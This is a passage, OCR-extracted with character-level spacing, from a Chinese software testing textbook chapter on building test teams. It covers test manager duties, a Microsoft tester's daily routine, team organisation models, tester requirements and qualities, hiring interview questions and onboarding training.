(6) 定义 、 实 施 软件 测试 流程 或 整个 开发 周期 流程 ,并 收集 ,处理 流程 实施 中 所 存在 问 
题 ,最终 不 断 改进 流程 

(7) 审查 项 目的 测试 计划 测试 策略 等 ,包括 资源 调度 和 平衡 .风险 评估 等 ; 

(8) 和 其 他 部 门 协调 ,参加 多 方 会 议 审查 产品 需求 定义 和 功能 规格 说 明 书 ,解决 其 中 的 
问题 ; 

(9) 指导 测试 项 目 组 实施 软件 测试 ,并 对 软件 问题 进行 跟踪 分 析 和 报告 ,推动 测试 中 发 
现 问题 及 时 合理 地 解决 

(10) 审查 项 目的 测试 报告 ,组 织 产 品质 量 的 分 析 ,提交 质量 分 析 报 告 ; 

(11) 对 竞争 者 的 产品 进行 深度 分 析 , 提 出 改进 软件 产品 的 建议 ,或 评估 改进 方案 是 否 
合理 等 。 


微软 测试 工程 师 的 一 天 
这 里 以 微软 测试 工程 师 一 天 的 工作 为 例 ,说 明 测试 工程 师 的 责任 和 任务 。 
d) 产品 构建 完成 之 后 ,每 日 凌晨 ,测试 编译 自动 开始 ; 
(2) 如 果 测 试 编译 成 功 ,BVT(Basic Verification Test, 基 本 验证 测试 ) 自动 开 始 ; 


(3) 测试 工程 师 早晨 来 上 班 ,第 一 件 事 就 是 检查 测试 包 (Test Build) 4 BVT 结果 的 
E-mail; 

(4) 如 果 有 BVT 错误 ,在 第 一 时 间 里 分 析 原 因 , 隔 离 错误 代码 并 报告 最 高 级 别 的 缺 
陷 (Priority 0 Bug, 开 发 团队 应 于 当日 之 内 修正 这 类 Bug); 

(5) 测试 工程 师 接着 在 缺陷 管理 系统 中 检查 Bug 情况 ,验证 分 配给 自己 的 .开发 人 
员 已 修改 的 Bug; 

(6) 关闭 Bug, 并 针对 该 Bug 修正 所 影响 范围 ,执行 回归 测试 ; 

(7) 验证 最 近 开发 的 测试 脚本 执行 的 结果 。 如 果 其 中 有 新 的 错误 ,报告 Bug 并 进行 
调试 ,解决 脚本 中 的 问题 ; 

(8) 开发 新 的 测试 规范 或 新 的 测试 脚本 ; 

(9) 使 用 个 人 所 建 的 任务 ,验证 自己 新 开发 的 测试 脚本 ; 

(10) 用 已 通过 的 脚本 来 验证 所 对 应 开发 人 员 的 、 新 版 本 的 程序 ,尽量 发 现任 何 严重 
的 问题 ; 

(11) 改进 与 提高 自动 化 测试 系统 的 功能 

(12) 参与 产品 规格 说 明 书 、 测 试用 例 的 评审 会 议 ; 

(13) 复审 测试 同伴 写 的 脚本 和 相关 文档 ; 

(14) 回答 项 目 相关 的 其 他 各 种 问题 。 


12.2.3 测试 团队 的 组 织 模型 


测试 团队 的 组 织 直 接 关 系 到 测试 团队 的 工作 效率 和 生产 力 ,其 组 织 的 方式 由 测试 团队 
规模 和 具体 任务 .技术 等 决定 ,对 于 小 的 测试 团队 所 要 求 的 结构 很 简单 ,一般 以 项 目 来 组 织 
就 可 以 了 。 对 于 大 型 测试 团队 的 组 织 ,一 层 结构 难以 满足 管理 的 要 求 ,有 必要 构造 2 一 3 层 
的 组 织 结构 ,对 于 这 种 多 层 结构 ,可 以 归纳 为 两 种 基本 类 型 ; 

(1) 从 测试 所 采用 的 技术 角度 去 组 织 ,将 整个 测试 团队 以 涉及 的 计算 机 技术 来 划分 , 形 
成 多 个 技术 部 门 。 当 启动 一 个 项 目 时 ,将 其 分 解 为 不 同 技术 的 模块 ,从 不 同 的 技术 部 门 抽调 
AR ,组 成 动态 的 项 目 组 ,如 图 12-4 所 示 。 这 种 结构 的 优势 是 在 技术 上 可 以 进行 充分 交流 ， 
即 技术 共享 性 比较 好 ,有 利于 技术 的 发 展 和 深入 ,对 于 那些 技术 深 、 产 品 单一 的 软件 公司 比 
较 合适 。 但 是 ,这 种 类 型 的 组 织 结构 ,对 项 目 管理 有 更 大 的 挑战 ,项 目 团队 的 凝聚 力 要 差 些 ， 
因为 项 目 成 员 来 自 不 同 的 部 门 。 

(2) 从 产品 线 去 组 织 , 将 整个 测试 团队 按照 公司 的 不 同 产 品 线 进行 划分 。 任 何 一 个 产 
品 的 开发 工作 ,都 是 在 某 个 特定 产品 团队 内 进行 的 ,而 一 个 产品 往往 包含 了 多 个 项 目 , 项 目 
组 是 在 产品 团队 内 建立 ,不 跨越 多 个 部 门 ,如 图 12-5 所 示 。 这 种 结构 的 优势 是 有 利于 产品 
各 个 模块 的 协调 、 集 成 ,接口 测试 会 比较 充分 ,产品 功能 特性 理解 比较 深 ,而 且 有 利于 项 目 管 
理 ,项 目 团队 的 凝聚 力 强 ,但 不 利于 技术 的 交流 和 经 验 共享 。 对 于 那些 产品 比较 多 、 公 司 规 
模 比 较 大 的 软件 测试 团队 比较 合适 。 
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图 12-5 按 产品 线 来 组 建 团队 的 模型 示意 图 


12.3 ”如 何 从 零 开始 


在 前 面 已 经 介绍 了 软件 测试 团队 的 任务 和 责任 、 测 试 团队 的 规模 、 构 成 和 组 织 模型 等 ， 
还 定义 了 测试 团队 中 不 同 岗位 人 员 的 责任 。 基 于 这 些 定义 和 描述 ,就 可 以 开始 组 建 测试 队 
伍 了 。 在 这 一 节 , 就 讨论 如 何 从 零 开 始 组 建 一 支 新 的 测试 团队 ,主要 从 以 下 6 个 方面 进行 
讨论 : 

(1) 对 测试 人 员 的 要 求 ; 

(2) 优秀 测试 工程 师 应 具备 的 素质 ; 

(3) 测试 人 员 的 招聘 ; 

(4) 测试 人 员 的 培训 ; 

(5) 组 建 测试 团队 的 3 个 阶段 ; 

(6) 测试 流程 的 建立 和 完善 。 


12.3.1 对 测试 人 员 的 要 求 


组 建 测试 团队 时 ,测试 经 理应 拥有 正确 的 理念 ,清楚 对 测试 人 员 的 具体 要 求 , 而 这 对 测 
试 人 员 招 聘 和 激励 、 测 试 工作 的 效率 和 质量 测试 结果 的 稳定 性 等 都 会 有 积极 的 影响 。 

不 少 计 算 机 软件 业界 人 士 认 为 ,对 软件 测试 人 员 要 求 比 较 低 、 容 易 招 ,认为 他 们 只 要 会 
操作 计算 机 、 有 一 定 的 软件 使 用 经 验 就 可 以 了 。 他 们 认为 ,软件 测试 人 员 只 要 一 步 一 步 操作 


所 要 测试 的 软件 ,就 能 发 现 程序 中 的 问题 ; 或 者 依据 软件 产品 规格 设计 说 明 书 ,通过 和 软件 
的 实际 表现 进行 对 比 就 能 够 发 现 两 者 不 一 致 的 地 方 ,发 现 缺陷 ,这 些 都 不 需要 什么 技术 。 

这 种 想法 是 错误 的 。 测 试 工作 的 确 是 一 项 技术 工作 ,不 局 限于 功能 测试 ,在 进行 集成 测 
试 和 功能 测试 时 ,测试 人 员 必 须 明 白 被 测 软件 系统 的 实现 原理 、 方 法 及 涉及 的 各 种 系统 平 
台 、 技 术 等 内 容 , 同 时 还 要 开发 相应 的 测试 脚本 、 测 试 工具 等 ,而 且 拥 有 编程 或 开发 经 验 的 测 
试 人 员 会 对 软件 开发 过 程 有 更 深 的 理解 ,对 与 开发 人 员 、 项 目 经 理 的 沟通 、 测 试 工作 改进 等 
会 有 很 大 帮助 。 在 进行 性 能 测试 .安全 性 测试 ,可靠 性 测试 和 兼容 性 测试 等 工作 时 ,要 求 测 
试 人 员 掌 握 系统 架构 设计 、 系 统 特性 标识 系统 环境 设置 等 方面 的 知识 。 测 试 的 方法 也 不 能 
局 限于 黑 盒 测试 方法 ,还 需要 结合 白 盒 测试 方法 或 开发 所 需 的 测试 工具 ,这 就 要 求 测试 人 员 
具有 一 定 的 编程 经 验 。 

开发 人 员 对 那些 不 懂 技 术 的 人 会 持 一 种 轻视 的 态度 。 一 旦 测试 小 组 的 某 个 成 员 做 出 了 
一 个 比较 明显 的 错误 断定 ,可 能 会 被 夸张 地 到 处 传扬 ,那么 测试 小 组 的 可 信 度 就 会 受到 影 
响 , 其 他 正确 的 测试 结果 也 会 受到 质疑 。 从 侧面 也 显示 了 技术 能 力 对 测试 人 员 也 是 很 重 
要 的 。 

对 软件 测试 人 员 的 要 求 ,虽然 不 同 于 对 程序 员 的 要 求 , 对 测试 人 员 的 技术 要 求 相 对 会 低 
些 , 但 测试 人 员 在 沟通 能 力 、 理 解 能 力 、 分 析 问 题 能 力 等 方面 的 要 求 会 高 些 。 而 且 , 对 不 同 层 
次 的 测试 人 员 的 要 求 也 不 相同 数据 库 测 试 工程 师 需 要 有 数据 库 设计 、 开 发 和 性 能 调 优等 能 
力 ; 自动 化 测试 工程 师 需 要 有 良好 的 编程 经 验 ; 测试 组 长 除了 需要 有 良好 的 编程 经 验 、 测 
试 经 验 之 外 ,还 需要 良好 的 项 目 管理 能 力 和 组 织 能 力 等 。 

有 些 人 错误 地 认为 软件 测试 人 员 的 发 展 空间 比较 小 ,如 果 做 了 测试 ,就 学 不 到 技术 , 结 
果 可 能 一 辈子 都 只 能 做 软件 测试 。 情 况 实际 并 非 如 此 ,除了 向 测试 职业 方向 发 展 (测试 经 
理 、 测 试 总 监 等 ) 之 外 ,测试 人 员 比 较 容易 向 质量 管理 ,过程 改进 和 项 目 管理 等 多 个 方向 发 
展 。 例 如 ,软件 测试 更 强调 流程 和 沟通 ,对 整个 软件 开发 过 程 各 个 环节 进行 跟踪 和 审查 等 ， 
及 时 发 现 问题 和 解决 问题 ,有 利于 向 项 目 经 理 、 软 件 企业 高 层 管理 人 员 等 方向 发 展 。 另 外 ， 
数据 库 测试 人 员 ,很 容易 转 为 数据 库 开 发 人 员 、 数 据 库 管理 员 (DBA) ,自动 化 测试 工程 师 可 
以 转 为 开发 人 员 ,而 资深 的 测试 工程 师 也 可 以 转 去 做 产品 经 理 。 


不 同 岗位 的 测试 人 员 的 具体 要 求 
1. 初级 测试 工程 师 
。 计算 机 、 数 学 、 物 理 及 相关 专业 ,大 专 以 上 学 历 ; 
。 有 责任 感 、 诚 恳 、 工 作 认真 ; 
。 可 以 胜任 重复 性 工作 ,工作 细致 ,有 耐心 
。 思路 清晰 ,良好 的 思维 能 力 ; 
。 1 年 以 上 工作 经 验 ; 
。 熟悉 计算 机 操作 与 软件 配置 ; 
。 具有 良好 的 人 际 沟通 及 语言 表达 能 力 ; 
。 注重 团队 精神 ,有 良好 的 合作 意识 ; 
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。 英语 读 写 熟练 ,英语 达到 四 级 以 上 ; 

。 具备 软件 工程 的 基本 知识 ; 

。 有 志 于 软件 测试 工作 。 

2. 测试 工程 师 

。 计算 机 数学、 物理 及 相关 专业 ,本 科 以 上 学 历 ; 

。 高 度 的 责任 感 , 积 极 的 工作 态度 ; 

。 熟悉 软件 测试 流程 ,具有 1 年 以 上 软件 测试 的 工作 经 验 ; 

。 熟悉 某 一 种 操作 系统 平台 (Windows/Linux/Mac) 和 应 用 平台 ; 

。 掌握 HTML/XML 和 JavaScript, 并 且 有 初步 的 ASP/PHP、C#/C/C++ 或 Java 
编程 经 验 ; 

。 能 够 使 用 一 种 或 两 种 以 上 的 、 目 前 流行 的 软件 测试 工具 ; 

。 拥有 较 好 的 沟通 技巧 ,良好 的 表达 能 力 和 应 变 能 力 ; 

。 具有 良好 的 反 向 思维 和 发 散 思维 能 力 ; 

。 热爱 软件 测试 工作 ,具有 和 较 强 的 团队 合作 精神 ; 

。 英语 读 写 熟 练 ,并 具有 一 定 的 英语 口头 表达 能 力 ,英语 达到 四 级 以 上 ; 

。 对 软件 工程 .软件 开发 流程 等 有 很 好 的 认识 ; 

。 有 较 强 的 逻辑 分 析 能 力 和 学 习 能 力 , 良 好 的 文档 撰写 能 力 ; 

。 心理 素质 良好 。 

3. 资深 (高 级 ) 测 试 工程 师 

。 计算 机 或 相关 专业 大 学 本 科 或 以 上 学 历 ; 

。 熟悉 软件 测试 流程 ,具有 3 年 以 上 软件 测试 的 工作 经 验 ; 

。 具有 一 年 的 编程 经 验 ,熟悉 C/C++ 或 Java 编程 语言 ; 

。 具有 良好 的 数据 库 (Oracle.MySQL 或 Microsoft SQL 等 ) 应 用 经 验 ; 

。 具有 某 一 个 应 用 领域 的 知识 和 应 用 背景 ; 

。 精通 软件 测试 理论 和 方法 ,能 够 熟练 应 用 多 种 测试 工具 ; 

。 具有 测试 项 目 管理 经 验 ,能 独立 承担 软件 测试 设计 、 项 目 组 织 等 工作 ; 

。 工作 作风 严谨 ,具有 很 强 的 责任 心 和 敬业 心 ,积极 的 进取 精神 ; 

。 善于 团队 合作 ,具有 很 强 的 沟通 协调 能 力 ; 

。 富有 创新 、 怀 疑 精 神 和 质量 意识 ; 

。 有 具有 独立 分 析 问 题 ,解决 问题 的 能 力 , 具 备 较 强 的 总 结 能 力 ; 

。 英语 熟练 ,具有 良好 的 英语 表达 能 力 ,英语 达到 六 级 以 上 ; 

。 对 软件 工程 .软件 开发 流程 等 有 很 好 的 认识 ; 

。 熟悉 软件 质量 管理 流程 ,熟悉 ISO 9000 及 CMM, 


12.3.2 优秀 测试 工程 师 应 具备 的 素质 


人 是 测试 工作 中 最 有 价值 也 是 最 重要 的 资源 ,只 有 保证 测试 工程 师 良 好 的 素质 ,才能 保 
证 测试 .产品 的 质量 。 然 而 ,在 有 些 公司 让 那些 没有 应 聘 上 开发 职位 的 人 来 做 测试 ,这 绝对 


是 错误 的 ,最 终 会 损害 企业 。 

为 高 质 高 效 地 完成 测试 任务 ,软件 测试 工程 师 应 具有 很 好 的 素质 和 能 力 ,包括 沟通 能 
力 , 技 术 能 力 、 自 信心 、 耐 心 ,怀疑 一 切 的 精神 勤奋 精神 、 洞 察 力 ,适度 的 好 奇 心 、 反 向 思维 和 
发 散 思维 能 力 、 记 忆 力 等 ,甚至 需要 很 好 的 幽默 感 、 自 我 学 习 能 力 和 创新 能 力 。 在 招聘 测试 
工程 师 时 ,着 重 考察 应 聘 者 是 否 具有 这 些 良 好 的 个 人 素质 ,保证 所 招聘 的 人 符合 测试 人 员 的 
要 求 。 

1. 责任 感 

测试 人 员 需 要 高 度 的 责任 感 ,本 着 对 质量 一 丝 不 苟 的 追求 ,坚持 用 客户 的 观点 看 待 问 
题 ,不 放 过 任何 一 个 可 能 存在 的 疑点 ,充分 关注 细节 。 也 只 有 有 具有 高 度 的 责任 感 ,才能 经 受 
得 住 来 自 进 度 或 其 他 方面 的 压力 ,始终 把 质量 放 在 第 一 。 只 有 这 样 ,才能 保证 测试 工作 的 充 
分 性 和 可 靠 性 。 

2. 沟通 能 力 

测试 工程 师 需 要 同 软件 开发 过 程 中 各 种 角色 进行 沟通 ,具有 与 技术 (开发 者 ) 和 非 技术 
人 员 ( 包 括 客户 .市 场 人 员 和 培训 人 员 等 ) 的 交流 能 力 。 既 可 以 和 用 户 谈 得 来 ,又 能 同 开发 人 
员 说 得 上 话 ,但 他 们 之 间 的 沟通 语言 和 方式 有 很 大 差别 。 和 用 户 沟通 的 重点 是 了 解 系统 要 
实现 哪些 功能 .哪些 功能 是 无 关 紧要 的 ,应 尽量 不 使 用 专业 术语 。 而 和 开发 者 交流 时 , 则 关 
心 技术 上 的 实现 ,常常 使 用 专业 术语 。 而 且 , 也 只 有 深入 沟通 ,才能 完整 地 理解 用 户 的 需求 
和 待 实现 的 产品 特性 ,才能 真正 掌握 产品 设计 和 实现 的 技术 细节 。 

由 于 测试 工作 本 身 一 个 重要 的 任务 ,就 是 找 出 程序 .系统 中 的 缺陷 ,有 些 开 发 人 员 觉 得 
是 挑 毛病 ,偶尔 感到 不 高 兴 , 这 时 和 开发 人 员 沟 通 ,更 需要 技巧 ,这样 才 能 将 与 开发 人 员 之 间 
可 能 发 生 的 冲突 和 对 抗 减少 到 最 低 程 度 。 测 试 人 员 应 该 把 精力 集中 在 查找 错误 上 面 , 而 不 
在 于 找 出 是 哪个 开发 人 员 引 入 错误 的 , 即 测试 的 结果 是 针对 产品 ,而 不 是 针对 编程 人 员 , 使 
用 一 种 公正 和 公平 的 方式 指出 具体 错误 ,对 于 测试 工作 是 有 益 的 。 一 般 来 说 ,武断 地 对 产品 
进行 攻击 是 错误 的 ,采用 一 些 外 交 方 法 就 比较 好 。 在 遇 到 狭 辩 的 情况 下 ,一 个 幽默 的 批评 将 
是 很 有 帮助 的 。 

3. 技术 能 力 

软件 测试 归根 结 底 还 是 技术 性 工作 ,归属 于 研发 部 门 ,技术 是 基础 。 如 果 没 有 技术 ,就 
只 能 进行 黑 盒 的 功能 测试 ,有 些 测试 任务 就 无 法 实现 , 某 些 时 候 测试 效率 比较 低 , 个 人 的 发 
展 也 会 受到 限制 。 有 了 和 良好 技术 ,在 早期 就 可 以 和 开发 人 员 一 起 讨论 系统 架构 设计 ,验证 系 
统 是 否 具 有 可 测 性 、 发 现 单 点 失效 .性 能 瓶颈 等 设计 问题 。 有 了 良好 技术 ,可 以 开发 所 需要 
的 测试 工具 自动 化 测试 框架 和 自动 化 测试 脚本 等 。 技 术 能 力 ,不 局 限于 开发 经 验 、 编 程 能 
力 , 还 应 包括 操作 系统 配置 和 排 错 (troubleshooting) 能 力 、 网 络 技术 等 。 

4. 自信 心 

开发 人 员 指 责 测试 人 员 出 了 错 是 常 有 的 事 ,测试 工程 师 对 自己 持 有 的 正确 观点 有 足够 
的 自信 心 , 对 自己 所 报 的 Bug 有 信心 。 如 果 缺 乏 信心 ,容易 受 开发 人 员 的 影响 ,测试 工作 就 
缺乏 独立 性 ,程序 中 的 漏洞 或 缺陷 容易 被 忽略 过 去 ,导致 软件 产品 质量 的 降低 。 

还 有 一 种 情况 也 是 常见 的 ,软件 产品 设计 规格 说 明 书 总 是 或 多 或 少 存在 一 些 逻 辑 问 题 ， 
编程 人 员 和 测试 人 员 对 那些 有 问题 的 功能 存在 争议 ,这 时 候 信心 会 帮助 测试 人 员 发 现 产品 


设计 中 的 问题 ,说 服 产品 设计 人 员 。 

5. 耐心 

有 些 软件 测试 工作 需要 难以 置信 的 耐心 。 有 时 需要 花费 大 量 的 时 间 去 分 离 .识别 一 个 
错误 ,需要 对 其 中 一 个 测试 用 例 运行 几 十 遍 , 甚 至 几 百 遍 ,了 解 错 误 在 什么 特别 的 情况 下 才 
发 生 。 测 试 人 员 需 要 保持 耐心 ,尤其 是 在 集中 注意 力 解决 困难 问题 的 时 候 , 特 别 是 在 测试 执 
行 阶段 , 面 对 成 百 上 千 个 测试 用 例 ,要 一 个 个 去 执行 ,还 要 在 不 同 的 测试 环境 上 重复 ,耐心 是 
必要 的 。 当 然 ,我们 尽量 让 测试 工具 去 完成 那些 重复 性 的 任务 。 

6. 怀疑 精神 

可 以 预料 ,开发 人 员 会 尽 自己 最 大 的 努力 将 所 有 的 错误 解释 过 去 ,测试 人 员 在 耐心 听 每 
个 人 解释 的 时 候 , 还 要 保持 高 度 警惕 .怀疑 一 切 , 直 到 自己 的 分 析 结 果 或 亲自 测试 之 后 , 才 做 
出 决定 。 有 时 ,对 一 些 功能 的 设计 和 实现 ,可 以 持 怀疑 态度 ,看 看 是 否 有 更 好 的 实现 方法 ,可 
以 和 产品 设计 人 员 、 开 发 人 员 进行 更 深入 的 讨论 。 

7. 适度 的 好 奇 心 

在 开发 测试 用 例 时 使 用 的 方法 , 倒 有 点 像 勘探 专家 在 一 个 山洞 中 摸索 前 进 的 方法 。 虽 
然 周 围 可 能 存在 大 量 的 死胡同 ,但 是 测试 工程 师 具 有 适度 的 好 奇 心 ,会 促使 他 们 向 山洞 中 的 
深 处 探索 ,探索 没有 去 过 的 地 方 , 最 终 可 能 会 有 一 个 大 发 现 。 

设计 出 那些 导致 系统 边界 出 错 的 测试 用 例 ,往往 需要 一 定 的 好 奇 心 。 测 试 工 程 师 在 审 
查 规格 说 明 书 时 ,可 以 与 开发 人 员 一 起 讨论 各 种 “假设 "的 场景 ,并 在 大 脑 中 反复 演练 被 测试 
系统 ,以 找到 可 能 出 现 的 例外 或 边界 问题 。 测 试 人 员 善 于 从 不 同 的 角度 来 进行 探索 性 测试 ， 
包括 采用 错误 猜测 法 ,设计 一 些 试图 破坏 系统 的 测试 用 例 。 如 果 测 试 人 员 缺 乏 好 奇 心 ,那么 
只 能 设计 出 肤浅 的 测试 用 例 。 

如 果 测 试 人 员 在 一 个 错误 上 花费 太 多 时 间 , 通 过 尝试 无 数 的 方法 去 分 析 造 成 这 种 错误 
的 根本 原因 ,这 样 做 也 是 不 正确 的 ,好 奇 心 需要 适度 。 在 及 时 完成 测试 执行 任务 和 编写 灵活 
高 效 的 测试 用 例 之 间 ,在 进度 的 压力 和 探究 错误 发 生根 源 之 间 , 优 秀 的 测试 人 员 能 够 取得 平 
衡 。 怀 疑 精神 和 好 奇 心 也 有 一 定 的 联系 ,具有 类 似 性 ,也 需要 适度 ,不 能 “ 杞 人 忧 天 ”。 

8. 洞察 力 

具有 适度 的 怀疑 精神 和 好 奇 心 ,如果 缺 乏 洞察 力 ,测试 能 力 还 会 受到 较 大 的 限制 。 一 个 
好 的 测试 工程 师 具有 一 种 先天 的 敏感 性 ,并 且 能 尝试 着 通过 一 些 巧 妙 的 变化 去 发 现 问 题 。 
例如 ,测试 人 员 能 够 捕获 用 户 使 用 系统 的 一 些 特定 场景 (user scenario) , 发 现 一 些 隐藏 较 深 
的 严重 缺陷 。 如 果 能 够 洞察 开发 人 员 的 弱点 或 系统 的 薄弱 环节 ,对 更 快 地 发 现 问题 也 会 有 
很 大 帮助 。 有 了 良好 的 洞察 力 ,也 有 助 于 识别 测试 的 风险 ,从 而 降低 测试 的 风险 ,确保 测试 
项 目的 成 功 。 

9， 反 向 思维 和 发 散 思维 能 力 

测试 工程 师 应 想 尽 办 法 来 考虑 产品 可 能 出 现 失败 的 各 种 方式 ,最 大 限度 地 暴露 其 存 
在 的 问题 ,用 严格 的 边界 条 件 来 检验 它 , 让 系统 经 受 压 力 测试 ,或 者 是 强迫 它 处 理 * 不 可 
能 发 生 的 ”错误 。 所 有 这 样 的 负面 测试 (negative test) 都 需要 反 向 思维 和 和 良好 的 发 散 思维 
能 力 。 


10. 记忆 力 

如 果 测 试 工程 人 员 有 能 力 将 以 前 曾经 遇 到 过 的 类 似 的 错误 从 记忆 深 处 挖掘 出 来 ,这 对 
以 后 的 测试 有 很 大 帮助 ,因为 不 少 错误 是 由 于 开发 人 员 的 不 良 习惯 导致 的 。 在 测试 一 个 产 
品 的 新 版 本 时 ,如 果 清 楚 已 发 布 的 各 种 版 本 的 产品 功能 ,就 比较 容易 了 解 新 版 本 的 功能 做 了 
哪些 改动 .为 什么 改 、 这 样 改 了 之 后 会 对 其 他 特性 有 哪些 影响 等 一 系列 问题 。 如 果 熟 悉 软 件 
各 种 老 版 本 所 出 现 的 缺陷 ,有 助 于 对 新 版 本 的 用 例 设计 和 测试 执行 。 


12.3.3 测试 人 员 的 招聘 


如 果 测 试 部 门 录用 了 一 位 不 适合 做 测试 的 员工 ,那么 其 他 员工 将 不 得 不 为 这 位 新 人 忍 
受 痛苦 。 这 个 小 组 要 用 更 多 的 精力 去 培训 新 人 ,还 得 设法 弥补 这 位 新 人 所 犯 的 很 多 错误 。 
此 外 ,如 果 一 个 人 的 工作 表现 差 ,会 影响 团队 的 其 他 人 ,进而 影响 整个 团队 的 能 力 和 形象 。 
要 保证 很 高 的 质量 ,每 个 人 都 要 把 工作 做 好 ,如 果 某 一 个 人 的 工作 没 做 好 , 漏 掉 几 个 严重 的 
缺陷 ,可 能 最 后 的 结果 是 前 功 尽 弃 , 导 致 重大 的 质量 事故 ,会 严重 影响 团队 的 业绩 。 在 这 种 
情况 下 ,大 部 分 积极 努力 工作 的 团队 成 员 将 会 忍受 委 届 、 受 到 伤害 ,其 主动 性 、 积 极 性 也 必然 
受到 严重 的 影响 。 最 终 , 有 能 力 的 测试 人 员 宁 可 辞职 ,也 不 愿意 和 那些 令 人 讨厌 的 、 无 能 的 
人 一 起 工作 。 

这 样 的 结果 是 我 们 不 愿意 看 到 的 ,原来 招 一 个 新 人 是 为 补充 资源 、 增 加 团队 的 能 力 , 结 
果 是 新 人 进来 了 , 老 员 工 却 离开 了 ,人 力 资源 没有 增加 ,反而 减少 。 所 以 人 员 招 聘 是 一 项 重 
要 的 工作 ,如 果 招 对 了 人 ,对 团队 是 一 种 补充 , 比 人 员 的 简单 累加 具有 更 强 的 能 力 ,会 对 团队 
的 业绩 和 效率 带 来 巨大 的 贡献 。 

在 招聘 过 程 中 ,要 收集 和 筛选 应 聘 人 员 的 简历 ,要 进行 现场 的 沟通 、 笔 试 等 ,但 最 重要 的 
是 面试 ,面试 是 招聘 人 员 的 最 重要 环节 ,对 于 软件 测试 人 员 的 招聘 ,经 常 要 提 的 问题 主要 如 : 
为 什么 想 放弃 当前 的 工作 ? 

对 于 目前 的 工作 ,你 觉得 最 不 喜欢 的 地 方 是 什么 ? 

过 去 工作 中 , 曾 遇 到 什么 样 的 难题 ?又 是 如 何 克 服 的 ? 

职业 发 展 方向 是 什么 ? 有 什么 具体 的 职业 规划 ? 5 年 后 希望 达到 什么 样 的 水 平 ? 
你 认为 “成 功 ” 的 定义 是 什么 ? 

你 觉得 在 软件 测试 上 获得 成 功 需 要 什么 样 的 特质 及 能 力 ? 

你 找 工 作 时 最 在 乎 的 是 什么 ?请 谈 一 谈 你 心中 理想 的 工作 。 

最 近 找 工 作 时 曾 面谈 过 哪些 工作 ? 是 应 聘 什么 职位 ? 结果 如 何 ? 
如 何 看 待 软件 测试 工作 ? 

应 聘 软件 测试 工程 师 , 你 的 优势 有 哪些 ? 

如 果 你 已 经 是 一 位 软件 测试 工程 师 , 如 何 做 得 比 别人 更 出 色 ? 
在 执行 最 后 一 次 测试 时 ,你 期 望 它 通 过 还 是 不 通过 ? 为 什么 ? 
针对 一 个 电子 商务 网 站 的 性 能 测试 ,最 关键 的 测试 页 面 有 哪些 ? 
黑 盒 测 试 方法 的 效率 比 白 盒 测 试 方法 低 吗 ? 

你 是 如 何 理解 “软件 产品 质量 ”的 ? 如 何 保证 软件 产品 质量 ? 

当 你 提交 的 错误 报告 有 争议 时 ,你 如 何 处 理 ? 

你 的 技术 特长 有 哪些 ?如 何在 测试 中 发 挥 它们 的 作用 ? 


如 果 应 聘 者 有 较 好 的 技术 背景 或 测试 经 验 , 那 么 问题 会 深入 到 技术 和 测试 的 各 个 方面 ， 
包括 针对 性 能 测试 .安全 性 测试 .自动 化 测试 、 编 程 技术 等 方面 展开 讨论 等 。 

图 12-6 是 Speedywriter 测试 小 组 进行 评估 的 量化 指标 ,就 像 所 看 到 的 那样 ,最 左面 的 
那 一 列 定 义 了 重要 的 技能 ,分 为 8 个 方面 进行 考察 : 教育 .工作 经 验 . 职 业 水 准 、 测 试 技能 、 
计划 能 力 ,设计 和 开发 能 力 .软件 配置 ,测试 执行 等 。 紧 跟着 的 3 列 定义 了 测试 小 组 中 的 工 
作 岗 位 所 期 望 和 所 需要 的 经 历 。 中 间 的 5 列 定义 了 测试 小 组 成 员 在 这 些 技术 中 所 处 于 的 等 
级 ,从 不 了 解 (“0”) 到 专家 级 (“3”)。 最 右面 的 两 列 是 小 组 中 每 个 技能 和 每 类 技能 的 最 小 等 
级 和 平均 等 级 ,通过 它 可 以 确定 技能 的 相对 的 强项 和 弱项 。 

到 了 筛选 的 最 后 阶段 ,应 该 能 够 确定 这 个 人 是 否 符合 工作 要 求 的 基本 条 件 。 同 时 ,对 于 
是 否 喜 欢 这 个 应 聘 者 、 是 否 适合 测试 小 组 及 是 否 录用 ,面试 者 都 会 有 一 个 基本 的 判断 。 如 果 
这 些 问题 中 任何 一 个 的 回答 是 “ 否 ”, 那 么 就 应 该 把 这 份 简历 放 在 一 旁 ,需要 进一步 讨论 、 考 
察 。 最 后 要 提醒 的 是 ,在 紧张 的 项 目 过 程 中 ,不 要 面试 不 可 能 对 项 目 有 积极 贡献 的 人 。 否 
则 ,后 果 轻 则 是 浪费 了 每 个 人 几 个 小 时 的 时 间 , 重 则 是 在 用 人 方面 犯 下 错误 。 由 于 资源 紧 
张 ,在 面试 时 容易 降低 用 人 标准 ,将 不 合适 的 人 引入 到 团队 ,将 来 很 可 能 为 此 付出 惨重 的 代 
价 , 所 以 资源 越 紧 张 , 招 聘 人 员 更 要 慎重 ,避免 潜意识 的 作用 。 


12.3.4 测试 新 人 的 培训 


一 般 情况 下 ,通常 要 为 新 到 的 测试 人 员 分 配 一 个 资深 测试 工程 师 作为 其 导师 
(mentor)。 导 师 指导 新 人 的 日 常 工作 ,了 解 新 员工 的 进度 和 学 习 的 难点 ,检查 新 人 的 工作 
(包括 测试 结果 ) ,回答 工作 中 过 到 的 各 种 问题 等 。 的 确 ,这 可 能 会 增加 导师 的 工作 量 , 但 是 ， 
这 种 体制 能 够 保证 统一 的 测试 质量 水 平 ,也 是 向 每 个 员工 表明 : 这 位 新 人 是 测试 小 组 中 重 
要 的 成 员 ,任何 一 位 成 员 的 成 功 对 整个 小 组 的 成 功 都 会 发 挥 重要 的 作用 。 

(1) 培训 目标 ,新 员工 须 达 到 上 岗 的 基本 要 求 , 如 了 解 被 测试 的 产品 ,掌握 测试 的 基本 
知识 ,熟悉 软件 开发 流程 及 相应 规则 。 

(2) 培训 的 方式 有 正式 的 课堂 培训 和 工作 实习 (On-job practice) ,以 及 上 述 的 导师 辅 
导 制 。 

(3) 培训 的 内 容 : 

。 了 解 公司 基 本 情况 ,人 事 制 度 .福利 待遇 、 企 业 文 化 等 ; 

。 了 解 测试 部 门 的 组 成 ,职责 ,任务 .工作 现状 及 发 展 ; 

。 了 解 公 司 的 资源 ,阅读 有 关 文档 ,包括 员工 手册 技术 工作 手册 ; 

。 工作 报告 格式 ,包括 日 报 、 周 报 、 月 报 、 测 试 报 告 和 质量 分 析 报 告 ; 

。 理解 和 掌握 公司 产品 的 结构 和 发 展 方向 \ 主 流 的 软件 技术 ; 

。 掌握 软件 测试 知识 方法 .技术 和 流程 ,包括 需求 评审 、 测 试用 例 设计 、 缺 陷 报告 、 测 

试 环境 搭建 等 ; 

。 学 会 使 用 已 有 的 测试 工具 和 测试 管理 系统 ; 
